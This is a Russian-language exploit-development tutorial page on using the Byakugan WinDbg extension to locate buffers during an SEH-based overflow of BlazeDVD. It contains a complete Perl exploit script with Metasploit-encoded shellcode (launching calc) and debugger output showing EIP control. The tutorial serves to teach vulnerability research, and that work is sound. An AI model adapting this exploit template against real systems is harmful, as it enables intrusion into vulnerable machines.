Студопедия.Орг Главная | Случайная страница | Контакты | Мы поможем в написании вашей работы!  
 

Byakugan : identBuf/listBuf/rmBuf и hunt



Эти 3 функции jutsu помогут вам найти место расположение буфера в памяти.

Предлагаю следующий script:

my $sploitfile="blazesploit.plf";my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab…"; my $nseh = "\xcc\xcc\x90\x90"; #jump 30 bytesmy $seh = pack('V',0x640246f7); #pop esi, pop ebx, retmy $nop = "\x90" x 30; #start with 30 nop's # windows/exec - 302 bytes# http://www.metasploit.com# Encoder: x86/alpha_upper# EXITFUNC=seh, CMD=calcmy $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43"."\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58"."\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42"."\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"."\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58"."\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c"."\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b"."\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b"."\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31"."\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57"."\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44"."\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b"."\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c"."\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b"."\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44"."\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36"."\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c"."\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38"."\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58"."\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e"."\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51"."\x42\x4c\x43\x53\x43\x30\x41\x41"; $payload =$junk.$nseh.$seh.$nop.$shellcode; open ($FILE,">$sploitfile");print $FILE $payload;close($FILE); open ($FILE2,">c:\\shell.txt");print $FILE2 $nop.$shellcode;close($FILE2);

Note: “my $junk” содержит metasploit pattern, состоящую из 608 характеристик. (так что вы можете создать это сами и вставить в script – помещение этого на страницу заняло много времени). nseh содержит breakpoints. И наконец, в низу скрипта, nops + shellcode записываются в файл (c:\shell.txt).

Откройте windbg, запустите blazeDVD, откройте файл sploit (которое должно обрушить приложение). Для начала изменим exception:

(d54.970): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569ceip=37694136 esp=0012f470 ebp=01f61e60 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206<Unloaded_ionInfo.dll>+0x37694135:37694136?????

Сейчас создайте 2определения identBuf: одна для metasploit pattern, и одна для shellcode:

0:000> !load byakugan [Byakugan] Successfully loaded!0:000> !jutsu identBuf file myShell c:\shell.txt [J] Creating buffer myShell.0:000> !jutsu identBuf msfpattern myBuffer 608 [J] Creating buffer myBuffer.0:000> !jutsu listBuf [J] Currently tracked buffer patterns: Buf: myShell Pattern: ãÛÂÙsôYIIIIICCCCCCQZVT... Buf: myBuffer Pattern: Aa0Aa1A...

Пусть byakugan найдет эти буферы:

0:000> !jutsu hunt [J] Controlling eip with myBuffer at offset 260.[J] Found buffer myShell @ 0x0012f5c0[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper![J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower![J] Found buffer myBuffer @ 0x01f561e4

Как было видно ранее, мы переписываем непосредственно EIP (но мы выбираем SEH, базирующееся на эксплойте). Hunt показывает нам, что мы контролируем eip в смещении 260. Т.е. hunt дает нам тот же результат что и!pattern_offset. К тому же, hunt ищет наш предварительно идентифицированный буфер и адреса. Я спрашивал Lurene Grenier могла бы она показать снижение в регистре (что могло бы это сделать проще поиск буферов… она сказала мне, что думает о создании родственного приложения для этого–продолжение следует …)

Нажмите “g” в windbg (to pass the first chance exception to the application). Приложение остановилось на нашем breakpoints (которые находятся в nseh)

0:000> g(d54.970): Break instruction exception - code 80000003 (first chance)eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246<Unloaded_ionInfo.dll>+0x12f5b7:0012f5b8 cc int 3


Запустите ‘hunt’ снова:

0:000> !jutsu hunt [J] Found buffer myShell @ 0x0012f5c0[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper![J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower![J] Found buffer myBuffer @ 0x01f561e4

Мы больше не контролируем eip напрямую с myBuffer (because we have passed on the first exception to the application), но если мы посмотрим в eip (0x0012f5b8), мы можем увидеть что оно указывает на место которое очень близко к буферу myShell (0x0012f5c0) (поэтому небольшой скачок заставит приложение вернуться к shellcode.

0:000> d eip+8 0012f5c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90................0012f5d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 89 e3................0012f5e0 db c2 d9 73 f4 59 49 49-49 49 49 43 43 43 43 43...s.YIIIIICCCCC0012f5f0 43 51 5a 56 54 58 33 30-56 58 34 41 50 30 41 33 CQZVTX30VX4AP0A30012f600 48 48 30 41 30 30 41 42-41 41 42 54 41 41 51 32 HH0A00ABAABTAAQ20012f610 41 42 32 42 42 30 42 42-58 50 38 41 43 4a 4a 49 AB2BB0BBXP8ACJJI0012f620 4b 4c 4b 58 51 54 43 30-45 50 45 50 4c 4b 47 35 KLKXQTC0EPEPLKG50012f630 47 4c 4c 4b 43 4c 43 35-44 38 43 31 4a 4f 4c 4b GLLKCLC5D8C1JOLK

Это показывает, что с того времени как мы отметили breakpoint на первом байте, где переписывается nseh, переход на 8 байт (- 2 байта кода чтобы сделать скачок самостоятельно) заставит приложение сделать переход к нашему shellcode.





Дата публикования: 2015-02-22; Прочитано: 188 | Нарушение авторского права страницы | Мы поможем в написании вашей работы!



studopedia.org - Студопедия.Орг - 2014-2024 год. Студопедия не является автором материалов, которые размещены. Но предоставляет возможность бесплатного использования (0.007 с)...